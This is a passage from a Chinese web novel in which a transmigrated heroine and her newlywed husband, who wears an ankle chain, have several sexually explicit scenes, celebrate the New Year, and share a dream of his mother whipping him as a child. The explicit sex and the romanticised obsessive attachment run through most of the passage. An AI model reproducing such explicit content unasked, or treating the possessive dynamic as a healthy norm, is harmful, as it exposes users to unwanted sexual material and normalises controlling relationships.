池镜花脸颊瞬间爆红,只想钻进被子里闷死自己算了,可转念一想,他真的明白吗? 她竭力维持面上镇定,“这么说,你知道该怎么做吗?” 少年极为不解地歪头看她,“脱衣服而已,不对吗?” “……” 这误会可大了! 怪不得从来没主动脱她衣服,还以为是不会,结果原来这是他眼里的肌肤之亲啊! 池镜花忽然觉得自己就是个大黄丫头,总要给他灌输些奇奇怪怪的知识。 她难为情地扯过被褥,蒙住脑袋,声音闷闷的,“算了,快睡觉吧。” 下一刻,绵软的被褥被他挑开,少年欺身而上,尚未干透的头发垂直而下,黏湿湿地贴在她的脸颊和颈侧。 池镜花忍不住打了个冷颤,表情迷茫地眨眼,“做什么?” “教我,教我什么是肌肤之亲……” 喉咙溢出微哑的靡靡之音,他的掌心已抚上她的腰带,指尖一点点解开她的衣衫,动作却极其生涩纯情。 “池镜花,我想跟你有肌肤之亲。” 他怎么可以这么直白!!! 虽然池镜花早就决定要与他完成礼制,但此刻还是决定反抗一下。 她啪地一下按住他胡作非为的指尖,不让他继续下去,“不想教。” “为何?”他尾音上扬,眉宇间充满惑色,“你不愿与我有肌肤之亲吗?” 这个问题,池镜花无法回答,也不打算理他。 奚逢秋不依不饶地轻抵着她的额头,来回蹭着她的脸颊,在她耳边一遍遍轻声呢喃祈求。 “教教我,教教我,好不好?池镜花……” ……简直就跟魅魔一样。 池镜花忍无可忍,索性直接把他推到,整个人坐到他腿上。 锁链的声音响彻耳膜。 池镜花没心思理会。 她心跳如擂鼓,方才拜堂没紧张,这时候已快紧张到晕厥。 见目的得逞,奚逢秋望着她在笑。 他一手握住她的腰身,一手按住她的后脑,忍不住俯身靠近她,与她呼吸纠缠。 “先是亲吻,对吗?” 池镜花轻轻点头,“嗯,对……” 话音落下,眨眼间,奚逢秋已吻上她的眼睫,细细描摹她的眉眼、五官、唇瓣、颈侧、肩胛……吮舐她的耳垂,有时候还要轻轻咬住。 完全利用自己脑海里不多的知识取悦她、刺激她感官的敏感。 四周空气的温度陡然升高,摇曳的暖色烛火映出床后一对新人的交缠模糊身影。 当彼此缠绕的舌尖因逐渐分离而勾出一根暧昧的银丝时,他的唇瓣红得如同染了口脂。 奚逢秋刻意压制的情欲不知如何发泄,像只正在讨好的小狗,只能祈求主人能够继续给予他欢愉。 “我做的对吗?” 池镜花衣衫凌乱,躯体半遮半掩,裸露出的肌肤皆被留下微粉的吻痕。 她唇瓣发麻发烫,脸颊很热,靠在他肩上、抓着他的衣裳不停喘息,“不知道,但你先别说话了……” 同样都是第一次,她简直快羞愤至死。 语毕,池镜花一口气解开他的衣衫,十指勾住他的脖颈,零碎的吻点在他的耳后和颈侧。 奚逢秋本能按住她的后颈。 除了亲池镜花,他不知该怎么做,因为眼前发生的一切已经与他认知里的脱衣服拥抱在一起的肌肤之亲截然不同。 但他莫名想要更多。 池镜花身体早已沁出了湿热的汗。 有点难受。 生理和心理的双重煎熬。 她抬起湿润的眸子,对上他动情的眼眸。 他俯身又想吻她。 池镜花却躲开了。 她低下头,一点点扯掉存在于两人间的最后一块遮羞布,咬紧唇瓣,扶着他的,主动靠近,带领他完成最后的步骤。 好温暖,很舒服。 因这从未有过的奇妙体验,少年兴奋地身体抑制不住地颤抖,他抬高脖颈,呼吸急促地向后仰去,露出修长流畅的锁骨。 池镜花无力地趴在他胸口喘息,完成这一切已十分艰难,压根不敢轻举妄动。 适应以后,奚逢秋开始低 头虔诚地亲吻她的唇角,以舌尖仔细描摹她的唇瓣。 “池镜花……” 池镜花睁开眼睛,看见他湿发黏在面颊,眼尾泛红,眼角沁出泪水,一副被谁欺负狠了的可怜模样。 这不对劲吧? 他怎么还先哭上了? 她欲抬手替他拭去泪水,“你别——”哭。 话未说完,池镜花只觉得他明显地动了一下。 耳边的锁链声又响。 来不及顾及他的感受,池镜花自己已在理智崩塌的边缘,在他遵循本能呼吸进出的刹那间,几乎颤了一声,推他。 “等等——” 只是话又没说完,他又动了一下,池镜花没能把持住,彻底淹没在灭顶的情潮中,最后只剩下呜咽的声音。 虽然一开始由池镜花主动,可到最后,如同无师自通般,她居然反过来被他压在身下。 奚逢秋抱着她,墨发散落在她身后的枕上,他一边兴奋到无法自抑地颤抖落泪,一边舔舐她的唇瓣,希望可以让她品尝到与自己同样的欢愉。 即便如此,他依旧不太满足。 “你还没有说爱我……” 池镜花意识早已有些涣散,红的滴血的唇一张一合。 “我爱你……” 奚逢秋起身注视着她,指尖轻柔地抚着她滚烫的锁骨,一寸寸往下,亲昵地抚摸她的肌肤。 “是喜欢这样的,对吗?” 声音完全透着勾引的意味,迷迷糊糊之间,池镜花早已丧失思考能力。 “嗯,喜欢……” 知晓她的心意和态度,少年又俯身堵住了她的唇瓣,显然不准备那么快结束。 第112章 第112章是我的吗? 腊月二十九,清晨,天已泛起鱼白肚。 夜里,又下起了雪,到现在还在簌簌飘零,院内的两排脚印又被覆盖。 池镜花醒来已快晌午,桌上的红烛已燃烧殆尽。 她挣扎着探出脑袋,从身侧之人紧锢怀里挣脱,利落地翻了个身,拢了拢衣裳,把裙角往下压了压。 没想到,他虽然被动,但力气还挺大。 池镜花转过身,默默从奚逢秋手中取回正在被他把玩的乌发。 眼见少女的发丝如一阵风似的从他指尖溜走,奚逢秋只扬了扬唇角,不由轻笑一声。 “很有意思。” 池镜花一时没反应过来,“什么?” 他抬指轻轻点了下她的唇瓣,指上却留有他的咬痕,“肌肤之亲,很有意思。” ——仿佛他们永远在一起的,似乎已经满足他将她剖开进入她身体的愿望。 池镜花很不理解。 他为什么可以脸不红,心不跳地说出这类羞耻的话语来! 池镜花佯装镇定地“哦”了一声,却死死拽住裙摆,又往下扯了扯,勉强遮住脚踝的淡粉吻痕。 在她欲盖弥彰之际,一双冰凉的手指忽然握住她的手腕。 池镜花不明所以地抬眸望他。 少年颈侧的抓痕和吻痕也不少,就连耳廓也留有还有她的牙齿印记。 尽管是情欲刺激下不可抑制的举动,但确实是她所为。 她的心跳又开始不可避免地加速,声音有些哑尚未完全恢复。 “做、做什么?” 话音落下,奚逢秋已然将她抱起,把人按在自己的腰腹上坐下。 池镜花脑海里立马闪过昨夜被他无数次带上云端的场景,几乎下意识地喊道:“等等,现在不——”行。 “没想怎样。” 少年兀自打断她,低下头,黏人地埋进她的颈窝,手指按住她的后颈和后背。 没再有多余的动作。 但他的身体在微微颤抖,像在暴风雨中寸步难行的蝴蝶,任由风吹哪里落哪里。 池镜花心脏毫无来由地痛了一下,慢慢拥住了他。 感受到她的回应,他反而更加没有安全感,乌睫一颤,轻轻吐出几个字。 “是我的吗?” 他是她的,他心甘情愿把自己所拥有的一切奉献给她,十分乐意为她做任何事,可她是他的吗? 他一直以为她是自己的,可近些天,他愈发觉得,她仿佛离自己越来越远了。 为什么会这样? 她是不是快要离开了? 那为什么还要答应与他成亲? 所谓成亲,便是哪怕死亡,他们也要合棺而眠,让彼此的躯体在棺材里腐烂的啊。 本该如此。 池镜花全然不知他危险变态的想法,附身蜻蜓点水地吻了下他的额头,“嗯,我是你的。” 无意之中,仅是一吻,足以让他渐渐冷静下来。 池镜花也想通了。 所谓肌肤之亲,不过是正常的夫妻生活,没什么好害羞的,他们以后还会有很多次,说不定还有别的花样,前提要他会。 她满眼笑意地推了推他,“话说回来,你今天怎么还不给我做饭?我都饿了。” 奚逢秋轻轻应了声。 铁链发出刺耳清脆的响声,他也朝着厨房走去。 池镜花洗漱好便坐在窗边支着脸,望着在厨房里忙前忙后的身影,只觉得他太有贤夫的潜质! 不过,她还是得想个办法劝他把脚下的锁链解了。 虽然他们没有邻居,但万一让过路的人看见,还以为她这个女主人有什么奇怪的嗜好呢。 池镜花思索半天,觉得有些无聊,干脆将首饰铺老板娘给她的包裹翻出,偷偷尝试给耳铛刻字。 意想不到的是,今日的第一次,她居然直接成功了。 没想到她先前努力一周,结果休息一天就完美地刻上了。 震惊之余,池镜花思考到底什么时候送比较合适呢? 其实她本打算新婚之夜送给他的,但现在已然不再适用。 但明天就是春节,或许,她可以到时候当成新年礼物送给他。 有总比没有好。 她小心翼翼地将耳铛收好,刚好等来午饭。 尽管他的做饭手艺一开始很是生涩,但最近却愈发熟练,她的饭量也逐渐增加。 吃完饭无事可做,天寒地冻的也出不了门。 池镜花裹紧衣裳,索性打开窗户,亲昵地靠在他身旁。 好在今日无风,不会太冷,压在竹叶上的霜雪簌簌而下。 池镜花抬眸看了眼清澈的天空,语气十分遗憾:“可惜没有太阳。” 少年偏头,不解地凝视着她,“为何?” 池镜花忍不住戳了下他略显苍白的脸颊,“你不觉得你需要晒太阳吗?” 奚逢秋垂眸,弯唇笑了笑,“就算晒太阳也没用的。” 他看上去容色病恹,在于他小时候喝下太多种类的毒药,虽然妖的体质不会对他性命造成伤害,可会让他看上去与病人无异。 池镜花神色坚定道:“那肯定是因为你晒的不够多。” 奚逢秋依旧在看她。 池镜花逐渐忆起过往,“我小时候养过莲花,莲花就得多晒太阳,尤其是春夏两季。” “春夏?” 奚逢秋立刻捕捉到她话语里的关键字,唇角勾出一抹淡淡的笑,指尖轻轻覆上她柔软冰凉的发丝,丝丝缕缕地缠在自己的指尖。 “可是到那时,你还会陪着我吗?” 看着温温柔柔的,可池镜花却从他的话语中品出了一丝苦涩的味道。 池镜花无法回答。 眼下,攻略进度已至95,指不定哪天任务完成,她就会强制遣送回现实。 回来是肯定要回来的,只是她不清楚究竟会花多长时间,因此,她能给的承诺从始至终只有一个:她不会抛弃他! “我……” 池镜花刚吐出一字,下一秒,她已被他按在怀侧,少年毫不犹豫地俯身以唇堵住了她的,完全不给她开口的机会。 他灵活迅速撬开她的唇舌,无所顾忌地缠住她的,空闲的一手逐渐由后颈抚上她的腰侧,一用力,将她抱在自己的腿上。 池镜花脑袋晕晕乎乎,直到坐到他腿上才瞬间回过神。 她试着推他,没推动。 待她实在呼吸不过来,奚逢秋才恋恋不舍地离开她的唇,指腹紧随其后地又压上,轻轻不停摩挲,替她擦拭亲热后的痕迹。 他垂下蓝眸,一错不错地注视着少女迷离湿润的眸子。 “说需要我。” 池镜花微微张口喘着粗气,虽然挺舒服的,可心里总有那么一丝不爽。 待呼吸稍顺畅些,池镜花发火瞪他,可全然没有该有的攻击性。 “你总是这样引诱我!” 他唇瓣微红,极为不解地歪了歪头,表情天真朦胧,“引诱?” 池镜花耳尖红得滴血,在他湿润的唇上胡乱地抹,不想越描越黑,最后放弃拯救,指了指他的,又指着自己的,红着脸质问:“这不是引诱是什么?” 虽然看着挺生气的,可奚逢秋听不出一丝恼怒的意思。 他抬手顺着她的发丝往下抚摸,笑了笑,“可你还是上钩了,不是吗?” 魅魔! 他一定是魅魔! 池镜花不服气地“嗷呜”一口咬在他的耳垂。 比疼痛更快到来的是一股莫名的快感,如电流般极快掠过身体四处,奚逢秋无法自抑地闷哼一声。 比起惩罚,更像某种奖励。 池镜花慢慢松了口。 奚逢逢俯身去吻她的颈侧,握住她的手腕,带领她主动覆上自己的腰带。 什么含义不言而喻。 “你说过喜欢的……” 所以,他在讨好她啊…… 只要是她喜欢的,他都会不遗余力地去做。 当然,这件事,他也乐在其中。 “我想要与你永远这般……” 他又去轻吻她的耳垂,试图给予她更多欢愉。 与此同时,她的腰间传来一阵外力,脚下衣裳逐渐堆叠。 比起昨夜,此刻的他稍微熟练一点,亦不敢太用力。 池镜花躯体一阵颤栗,只觉得这对话和场景十分熟悉。 她眨眼看向窗外。 虽然季节对不上,但池镜花记起来了,她曾在梦里见过这个地方。 那时候,她也听见奚逢秋脚下传来的动静,不曾想原是锁链。 池镜花目光向下,本想仔细瞧瞧那锁链,却有指尖轻轻按了下她的衣下。 又冰又痒。 她身子一软,本能地哼唧一声,再无精力思考别的。 很快,视线逐渐模糊,池镜花只能靠在他怀里,无力勾住他的脖颈,紧咬唇瓣,努力抑制令人难为情的声音。 甚至连发尾都附着浓重的湿润气息。 池镜花眼看自己身上昨夜的痕迹尚未消去,转眼间,似乎又添了几道新的红痕。 遮也遮不住。 可她实在没什么力气,只能任由着他一次次带领着自己。 到最后,池镜花如浆糊般的脑海里只剩下一个念头。 ——如同亲吻一样,只要让他学会了,定然会一直缠着她,不知餍足。 池镜花艰难活动下身体,可刚一动弹,就被他双手按住腰侧,又回到原本的位置。 她不由攥紧他肩上凌乱的衣裳,嘴唇咬得快要出血。 偏偏奚逢秋除了眼底溢出的情欲,其他方面皆跟个没事人一样。 他温柔地将她耳鬓湿发别至耳后的同时,不忘轻声安抚她,仿佛这恶劣的行径不是出自他的手下一样。 “再等会儿,好吗?” 池镜花不敢再动,只好暂时与他保持这亲密的姿势。 她眨了眨雾气朦胧的双眼,垂眸向下看去。 昨夜光线昏暗,她还没来得及仔细端详这锁链。 只是在她望去的瞬间,仿佛看见他的皮肤渗出了鲜红的血迹,沿着脚腕蜿蜒向下,滴在褐色地板上。 一眨眼,消失不见,恍若错觉。 第113章 第113章朝朝暮暮有你,年年岁岁相…… 昨夜分明半直到夜才歇下,可不知为何,在第二日,池镜花醒得过分早。 她缓慢尝试移动身体,不想甫一动弹,身下传来一股难以言说的滋味。 胀胀的。 似乎一夜过去,始终埋在里面。 意识到发生何事的池镜花面颊爆红,生气地推开他,才顺利地与他彻底分离。 待池镜花被挑起的呼吸渐趋平稳,她坐起,抬头望他,眼底余怒未消。 “过分了!你过分了!” 少年微微俯下身子,捧住她涨红的双颊,令池镜花的眼睛里除了自己再也容不下其他。 “不舒服吗?” “……” 像“舒服”这类字眼池镜花自然说不出口,她用力扯住凌乱的裙摆,随手下抓了抓被他弄乱的头发,语调不由自主软了下来。 “反正我们得节制一些了。” 再也听不出她语气中的怒意,奚逢秋又高兴地去亲吻她的唇角。 “那就是满意的,对吗?” 池镜花不眼睫一颤,想回答他,自顾自地给他下达妻子的最高指令:“不管怎样,以后不能再像刚才这样了。” 自成亲那晚开始,他就有些过分黏人,简直让她有点吃不消。 奚逢秋低声应了个“好”字。 池镜花看着他的绝绝的五官以及藏笑的眉眼,心中半分怒火都无,干脆圈住他的脖颈,让他帮自己穿衣裳。 反正是他解的,让他穿上又咋了! 池镜花理所当然地想着,任由他耐心地服务自己。 待洗漱好穿上新衣,池镜花望着窗外还在飘零的小雪,柜子中翻出一把前主人留下的一把旧纸伞。 她站在门口,对屋子里的人说:“我出门了。” 话音落下,许久不见的一缕白丝轻轻圈住她的手腕。 知晓他约莫患有严重的分离焦虑症,池镜花边轻轻拂去白丝,边耐心安抚道:“放心,我只是去街上逛一圈,很快就回来了。” 奚逢秋在看她。 他指尖一颤,白丝瞬间化为无数齑粉,融进皑皑雪景里。 池镜花不给他拒绝的机会,她撑开伞往外走,似是想起什么,扭头对他说:“哦,对了,今天是春节,我想吃饺子,白菜馅的就好,家里有菜。” 他不大高兴地垂下睫羽,“嗯,好。” “那我走了。” 池镜花权当看不见,戴上衣帽,唤上白鹤,抓紧时间往镇上赶。 由于今日为春节,哪怕是京城,商铺也只会在中午前开门接客,所以她必须在此之前赶到街上。 无非是想给他挑个合适的物品,用来代替锁链。 总不能让他一直戴着锁链,否则出门都不行了。 池镜花赶到时,街上大部分商铺都还开着门,说是要休息的首饰铺居然也还开着。 她走进去,在跟老板娘说明来由后,对方立马以一种奇怪的眼神打量她。 池镜花无话可说,思索再三,决定给他挑了个脚链。 嗯……脚链,锁链,怎么不能算是一种替代品呢。 反正都是用来拴住他自己的。 脚链通体银色,在阳光下若非仔细辨认倒也看不出,正是池镜花要的效果。 付账时,老板娘视线紧盯着她扣在右手手腕的手链,不由感慨:“你这手链倒是蛮奇特的,在哪买的?” 想到制作手链原材料,池镜花心下一慌,随口答道:“不是买的,我夫君给我做的。” 这还是她第一次他“夫君”,尽管他本人并没有听见。 老板娘什么也没说,只意味深长地看她一眼,将打包好的脚链递给她。 池镜花道了句“多谢”,转身离开铺子。 外面的风雪更大,大抵有些迷眼,有个抱着几颗烂白菜的中年男人撞到了她。 男人怀里的蔬菜瞬间散落一地,滚到两人脚下。 老气横秋的男人满脸歉意,“对不住,实在对不住,姑娘,你没事吧?” 池镜花抬眼看见堆在男人肩上的积雪,想来在外面徘徊很久,也没撑把伞,于是摇头回了句“没事”,帮他将蔬菜拣起,直接离开了。 在池镜花看不见的地方,男人厌恶地“啧”了一声,盯着雪中愈发模糊的背影,将蔬菜仍到一侧,慢慢跟了上去。 当然,池镜花也并非对此毫无察觉。 不知是否为错觉,她总觉得背后有双眼睛在暗处观察她。 这种监视与奚 逢秋看她带给她的感觉截然不同。 仿佛泡在充满恶意且密不透风的瓷罐中。 这种恐怖诡异感觉令池镜花想起一件事情来。 在丰朝县的那段日子,不知是谁花钱发布悬赏令,征得一些江湖人士作死杀男配,可随着他们愈接近京师,这群人反而销声匿迹了。 因为事情在朝着好的方面发展,池镜花从未多想过,不过现在,她开始思考眼下正在跟踪她的人和当初要杀男配的那伙人是否有联系。 念及此处,池镜花脚步越来越快。 奇怪的是,当她离家越来越近时,身后那道黏糊恶心的视线反而不见了。 池镜花得以松口气。 她关上院落的门,转身的刹那间,池镜花落入熟悉的怀抱,耳边响起他的抱怨声,抱怨她回来得太迟,他好思念她。 此刻距她出门不过才半天时间啊。 幸好池镜花早已习惯。 她抬头望着他,一手轻轻抵住他的肩胛,另一手摸了摸他眼睛,替他拂去睫毛上的雪花的同时,将刚才遇到的怪事全盘托出。 “奚逢秋,我刚才好像被人跟踪了,不知道会不会跟之前要杀你的那群人是一伙的。” 少年瞳孔闪烁了下异样的光彩,很快恢复正如初,指尖温柔抚摸她的发丝。 “所以啊,要一直待在我身边,不能离开半步,任何试图伤害你的人和妖,我都会替你解决掉。” ……怎么又扯到这件事情上来了。 池镜花不想回答,干脆拉他进屋,惊讶看见在她离家的这段时间里,家里的门窗都已经贴好了春联。 可真是太贤惠了! 她让奚逢秋微微弯下腰,踮脚亲他,唇瓣轻轻擦过他的脸颊,弯起双眸,笑着夸奖道:“我夫君可真棒!” 由于是第一次从她口里听到这陌生的称呼,奚逢秋下意识歪了歪脑袋,漂亮如画的眉眼浮现不解神色。 “夫君?” 池镜花咳了一声,面颊微红,不知是冻得还是什么,理所当然地道:“我们都成亲了,你当然是我夫君,还是说,你不喜欢这个称呼啊?” “不是的,我很喜欢。” 他垂下眼眸,半遮的眼睫下,瞳孔里盛满掩藏不住的浅笑,指腹不由轻轻按住她的唇瓣,话语中满是祈求之意。 “可以再这样叫一声吗?” 哎,怎么不管做什么,他都不知满足呢。 “夫君,夫君,夫君!” 池镜花深吸一口气,一连叫了三次。 一直停在她唇瓣的指腹不停摩挲,奚逢秋似乎笑得更厉害了。 不理解,但尊重。 池镜花瞳孔一转,看见桌上冒着热气的汤碗,累了一天,赶紧拉他坐下吃饭。 正是饺子。 忙活一天,池镜花早就饿了,不想她正要扒拉碗吃饺子,奚逢秋先一步从她面前端走瓷碗。 “让我喂你吧,池镜花。” 又来了。 他那奇奇怪怪的癖好。 池镜花没说好与不好,而且以实际行动张了张口,等待他的投喂。 不冷不烫的饺子入口,她嚼了嚼,仔细品尝了其中味道,有些口齿不清地说:“有点咸,下次少放点盐。” 池镜花蓦然觉得她还挺严苛的,分明是他在全方位服务自己,结果反而挑剔上了。 奚逢秋应了声“好”。 他不觉得哪里不对,正如他所做的一切只为取悦她,让池镜花察觉到他的自身价值,只有这样,她才不会与母亲一样抛弃他。 池镜花大概隐约猜到他的心思,但她不准备纠正,因为若强行影响他那长久以来存在的观念,只会让他陷入混乱,继而做出更加偏执的行为。 而且,他细心地将她照顾得无微不至,这没什么不好。 池镜花也很喜欢他的这点。 等他们吃完饭泡好澡,换上干净的衣裳,池镜花就坐在窗前,一边欣赏窗外月光照耀下的雪景,一边靠在他怀里,将提前准备好的新年礼物塞到他手里。 “这个送给你。” 月影斑驳,少年墨发散落,湿漉漉的发尾时不时落下一滴水珠砸向地面。 他接过她精心装扮的礼物,拆开,“耳铛?” 借着皎白月光,池镜花指了指上面的“年年”二字,解释:“嗯,这上面的小字是我自己刻的,可不是随手买来的。” 奚逢秋轻笑一声,转眸注视她的脸颊,“所以你那几日不停地往街上跑,只是为了这只耳铛吗?还把自己的手指弄伤了。” 虽然她指上的伤已好得差不多,但池镜花还是下意识地指腹摩挲几下。 她乖巧点头,眼睛一错不错地回望他,“嗯,对啊,其实我本来想给你刻别的字,但实在不知道刻什么,而且有句话怎么说来着……你等一下,我想想。” 一时忘记本该要说的话,她思考好一会儿才重新记起。 “愿朝朝暮暮有你,年年岁岁相依。” 多好的祝福语啊。 尽管这只耳铛是苗献仪随手扔下的,估计她也从未在意过耳铛上刻的字,但此时此刻,这只耳铛被赋予上美好的含义。 当有了甜蜜的外衣,仿佛那些过往的痛苦随之掩埋深处。 砰—— 炮仗烟花起,万家灯火亮。 空气中飘来令人沉醉的酒香,池镜花望着他,见他握着耳铛,长睫轻颤,不知在想些什么。 她勾住他的肩膀,晕乎乎地吻了上去。 【男配好感度+4,当前好感度99/100】 第114章 第114章好冷啊。 高悬的星星闪烁,朦胧的月光盈满窗前,系统提示音随着噼里啪啦的鞭炮声逐渐消弭于天地。 虽然任务一直有进展令她十分高兴,可今时不同往日,池镜花还不想那么快离开他。 她忽然觉得系统如同定时炸|弹一样,指不定哪天就宣告她任务结束,把她强行遣送回去。 这种无法掌控的滋味一点也不好受。 念及此,池镜花勾住他脖颈的双手无意识地缠更紧,想要离他更近一些。 奚逢秋乌睫一颤,轻柔地捧住她的脸,唇上虽没有进一步的动作,冰冷的指尖却逐渐向下游走,慢慢滑过颈侧,轻按了下她的锁骨。 池镜花打了个冷颤,慢慢移开贴着他的唇,对上他的视线。 平静的眼底流露出汹涌的情愫。 他微微歪了歪脑袋,面上渐渐弥上疑色,“哪里不一样了,对吗?” 不得不说,他可真是太敏锐了,连系统声这类现代的高科技产物都能隐约察觉到,偏偏每次都能戳中要害。 又或者,是池镜花不想与他分离的心情传达给了他。 池镜花不想再骗他。 她诚实地点点头,眼皮耷拉着,不太敢与他对视,声音微弱却吐字清晰。 “嗯,刚才任务有动静了,你对我的好感度上升了,现在是99的好感度,只要好感度到达100,我的任务就结束了,可能会被遣送回去。” 奚逢秋没有说话,唯有指尖聚拢的力气在慢慢消散。 他垂眸思忖了会儿,缓慢摊开五指,将攥在掌心的耳铛置于她眼前。 他面上带着一抹淡而温和的笑,“来帮我戴耳铛吧。” 这是他唯一一次主动终结“离开”话题,并且看着心情还不错的样子。 池镜花反而有些拿不准了,有点怕他在平静外表下是否隐藏着更为偏执的想法。 “嗯……” 她犹犹豫豫地地接过耳铛,借着月光,取下旧的耳铛,将新的慢腾腾地穿进耳洞,顺带指腹摸了摸他的伤口。 跟普通的耳洞相比,由他自己造成的略显粗糙,很容易就令她想起在幻境里发生的一切。 察觉耳垂传来的温热和柔软,奚逢秋下意识握住她的手指,脸颊习惯性地蹭了蹭她的指尖,垂眸注视她。 “怎么了?” 池镜花摇了摇头,“你为什么……不问我离开的事情了?” 他俯身虔诚地亲吻她的唇角,“你不是说了吗,等到好感度到达100,就会离开。” 语气格外轻松,话里话外似乎 已经想通接受这件事。 “可……” 池镜花还想说点什么,下一刻,她微微张开的嘴巴被堵住,只有喉咙溢出呜呜咽咽的破碎呻吟,将四周空气衬得更加暧昧。 明显不想让她继续问下去。 他的五指自然插进她的发间,若有似无撩拨她的发丝,指腹亲密抚摸她的肌肤,渴求她的一切。 毫不收敛。 压根不存在想通放手的可能性。 就是不知道在酝酿什么。 迷迷糊糊之际,池镜花不记得是怎样被他抱上床的,睁开朦胧双眸,发现自己已被他压在身上,全身舒张的毛孔都被他的炽热而独特的气息所填满。 不过,身下传来的异响还是令池镜花回了神。 “先等等。” 她毫不犹豫推开他,拢了拢松垮的衣裳,起身从柜子里取出脚链。 “我买了这个,给你用来代替锁链,可以吗?” 奚逢秋看了眼她手里的银色脚链,对上池镜花殷切的眼神,神情有些不解。 “为什么?这样不好吗?” “……” 池镜花凝视他眼眸半晌,终于读懂他隐藏在心底的情绪。 说到底,还得怪苗献仪。 池镜花皱了下眉,实话实话:“不好,我喜欢你,哪怕没有这些乱七八糟的玩意儿,我也照样喜欢你,你不必为让我安心而给自己上锁链,我觉得非常不好。” 尤其当奚逢秋做出这件事时明显受他母亲影响,这给池镜花的感觉有点像在侮辱他一样,就像当初苗献仪毫不犹豫地差人将他活埋他。 想到这点,池镜花不管他同不同意,二话不说直接解开锁链,瞥见他脚踝处磨出血痕,立将自己买来的脚链套在他脚上。 行云流水般的做完这一切,她“啪”地一下,撞进他怀里,把人扑倒在床。 被压在身下的少年指尖轻抚她的发丝,心情格外愉悦地轻笑一声,“嗯,我知道了。” 池镜花埋在他怀里,心中略微酸涩,声音也闷闷的。 “你知道就好。” 奚逢秋依旧在笑,他将人完全拢在怀里,就在池镜花以为他要继续刚才未做完的事情,不想他只抱着她,亲了下她的额头,什么也没做。 “睡觉吧,你很累了。” 有点奇怪。 但池镜花确实很累,也不想守着新年过夜,反正明天早上醒来,还是会看见他的。 眼皮越来越沉,半梦半醒间,池镜花似乎再次听见系统的声音。 【男配好感度99/100,当前任务进度99/100】 【恭喜宿主即将迎来胜利,不过最后关头也请不要掉以轻心,以免功亏一篑!】 【任务奖励:与男配“共梦”一次,请问是否立即使用?】 ……共梦? 上次还是记忆回溯,这回直接进入他的脑袋查看回忆的意思吗? 【是的,没错。】 得到系统的肯定答复,池镜花决定“立刻使用”。 眨眼间,眼前的漆黑夜色被被一片白茫茫的雪景所取代。 【和“记忆回溯”一样,请宿主在“共梦”期间不要插手男配的梦境,以免使得男配记忆错乱,继而影响整本书的走向。】 这个道理她懂,毕竟也不是第一次了。 池镜花的意识不知附在了谁身上。 天气阴沉沉的,雪花簌簌飘落,繁华的京城的街道没多少人。 年轻女子领着她在街上兜兜转转,直到停在一栋红色木门的宅子门口。 空气中飘来一阵血腥。 雪地里,跪着一抹熟悉的身影。 小奚逢秋看上去比前一次年纪稍小些,他身着单薄的夏衣,跪在雪地里,低着头,浑身皆是纵横交错的斑驳伤痕。 苗献仪神情呆滞地站在他跟前,手里握着长血淋淋的带刺长鞭,血珠自鞭尾滚进雪地,匍匐在她脚下,开出绚烂的血花。 池镜花的视角随着女子变幻。 女子讨好似的在苗献仪耳旁小声说了句:“王妃,王爷还是没有回来。” 苗献仪黑瞳微转,一把推开女子,下了台阶,猛地伸出一脚,将跪在门口的小奚逢秋踹翻在地,发了疯似的竭力怒吼:“你以为我跋山涉水来京城的目的是什么?告诉我!为什么这么没用!” 随着小奚逢秋踉跄倒地,池镜花终于看清他此刻的面容。 不止躯体和四肢,他脸上也留下触目惊心的鞭痕,额上的鲜血滚进瞳孔,染红了他的蓝紫色眼眸,缓缓向下流淌,在他苍白如雪的脸颊形成一道蜿蜒的血痕。 小奚逢秋慢慢爬起,将自己缩成一团,颤颤巍巍地道歉:“对不起,母亲,是我无能,下次,下次我一定会让父亲回来见您的。” 虽然他的表情虽没有太大波澜,却跟池镜花使用“记忆回溯”时见到的,给她的感觉截然不同。 上次的他如同一口深不见底的黑洞,戴着一张乖巧懂事的假面,却了无生机,而现在的他仿佛正处生死的交叉路口,只需别人为他点一盏灯,即可改变一切。 即便池镜花不想改变他的过去,但见此情形仍忍不住指尖一颤,整个人宛若泡在水里呼吸不能,迫切地想要给予他一个拥抱。 池镜花忍着操控侍女的冲动,看见苗献仪肆意挥舞着手中长鞭,一道道,狠狠地鞭笞在他血肉上。 “不是让你去找你父亲,让他回来吗?为什么!为什么!为什么这么简单的任务也完不成!没用!没用!没用!没用!没用!没用!没用!” 刚止住血的伤口带出新的血肉,滚烫的鲜血流到雪地里,将雪水化为血水,逐渐浸透他衣裳,仿佛他整个人泡在血池里。 混着血水的泪水从小奚逢秋的眼角渗出,他将身体蜷缩得更紧。 “母亲,别打了,我好疼,好疼,好疼,好疼,好疼,好疼,好疼,好疼,好疼,好疼,好疼,好疼,好疼,好疼啊……母亲,我错了。” 他在喊疼。 也就是说,痛觉并非一开始就没有,而是后来逐渐消失的。 池镜花虽然隐约猜到肯定是这么一回事,但亲眼看到奚逢秋在除了她自己跟前喊疼时还是愣了几愣。 一刻钟过后,苗献仪约摸打累了,她随手扔掉长鞭,漆黑无光的眼神里充满鄙夷和厌恶。 “可真是没用,真不知道我当初为何要生下你……” 苗献仪掉头就走,一次没有回过头。 小奚逢秋神情呆滞望着逐渐远离的熟悉背影,瞳孔逐渐失焦,沾血的唇瓣忽地轻轻扬起。 飞扬的雪花降在他睫上凝成透明的冰晶,他就一动不动地坐在那里,平静面容中透着一丝病态与疯狂,失去血色的唇瓣一张一合。 “知道了,母亲,我以后一定会好好听话的。” 俨然一座没有感情的精美雕塑。 池镜花抑制不住回头看他。 漫天风雪里,一名与奚逢秋眉眼有几分相似的青年逐渐走近。 青年将小奚逢秋搀起,蹲下身子,替他拍了拍身上的积雪,满眼心疼地望着正在微微笑着的小奚逢秋。 “阿秋,你怎么了?为什么受了这么多伤?疼不疼?” 闻见声音的苗献仪蓦然回首,终于见到自己朝思暮想的人,恍惚间,她知道从此以后该怎么做了- 屋外的雪很早停了。 在确保池镜花呼吸均匀以后,奚逢秋唤来白鹤,轻轻抚摸它的脑袋,在离家前给予他温柔地叮嘱。 “要听话些啊。” 所谓听话,无非在他离开的这段时间里,白鹤需要时刻守在池镜花身边,发生任何风吹草动都要及时汇报给他,还不能与她太过亲近。 可真难伺候。 在认清自己为工具鹤的地位后,白鹤四肢一软,往地上一趴,吱都不吱一声,干脆认命。 少年微微弯俯身,耳边墨发滑落到少女白皙的脸颊。 在不到五公分的距离,他观察到池镜花睫羽颤动,呼吸渐渐起了变化。 知晓她在做梦,奚逢秋指腹轻轻抚弄了下她的睫羽。 ——与他不同,池镜花这般好,应该是美梦,对吗? 白鹤睁着圆溜溜地黑眼珠盯他,直到他慢慢出了家门,才重新趴在地上等待。 